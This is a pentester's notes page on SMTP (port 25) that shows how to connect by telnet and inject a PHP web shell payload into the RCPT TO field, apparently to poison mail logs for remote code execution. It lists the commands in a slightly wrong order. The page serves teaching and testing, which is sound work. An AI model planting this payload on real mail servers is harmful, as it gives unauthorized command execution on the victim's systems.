My Pentesting Space
LinkedIn
  • Welcome to Hackjiji
  • 🕸️web pentesting
    • Basics
    • Web pentest cheatsheet
    • Burpsuite and browser tricks
    • cUrl cheatsheet
    • CVE exploitation
    • JavaScript Obfuscation/Deobfuscation
  • Network pentesting
    • Basics
    • Nmap favorites
    • Host discovery
    • Port scanning
    • Network Services
      • RPC-NFC
      • WINRM - 5895-5896
      • FTP - 21
      • SMB - 445
      • RDP - 3389
      • SSH - 22
      • SMTP - 25
    • Firewall evasion
    • Pivoting and double pivoting
  • Physical pentesting
    • Bad USB - Rubber Duckies
  • Linux pentesting
    • Usefull command's
    • Privilege escalation
  • windows pentesting
    • Windows useful commands
    • Windows Reverse shell codes
    • Privilege escalation
  • Active Directory pentesting
    • Basics
    • AD
    • AAD
  • General
    • Hash cracking
    • Wordlist
    • Encoding/decoding
    • Environment setup
      • Install a new OS on seperated boot sector
      • Hyper-V
      • Virtualbox
    • Reverse-shell-cheatsheet
    • Metasploit cheatsheet
    • Vulnerability research
    • My scanning methodology
  • Events
    • HackTheBox Meetup - LFI2RCE
    • Radio Equans - QR Code Awareness campaign
    • Cybersecurity job campaign
Powered by GitBook
On this page
  1. Network pentesting
  2. Network Services

SMTP - 25

SMTP injection

The commands provided demonstrate a method to use Telnet for connecting to an SMTP server and executing commands, including the likelihood of code injection vulnerabilities.

  1. Telnet IP 25: This command initiates a connection to the SMTP server running on the specified IP address on port 25, the standard port for SMTP communications.

  2. MAIL FROM: The command follows to specify the sender's email address. This is part of the SMTP protocol's handshake process, where you declare the originating email address, even if fictitious in this example (fake@email.com).

  3. RCPT TO: This specifies the recipient's email address. However, in this example, it includes a PHP code snippet that hypothetically gets injected into the server: <?php echo system($_POST['cmd']); ?>. This code attempts to capture and execute commands sent via HTTP POST requests, demonstrating a remote code execution scenario.

  4. SUBJECT: Specifies the subject line of the email, seen here as a placeholder or "blsdfs", indicating it is meant primarily for illustration rather than practical use.

Telnet IP 25 
RCPT TO:<?php echo system($_POST['cmd']); ?> 
MAIL FROM:<fake@email.com> 
SUBJECT: blsdfs 

PreviousSSH - 22NextFirewall evasion

Last updated 6 months ago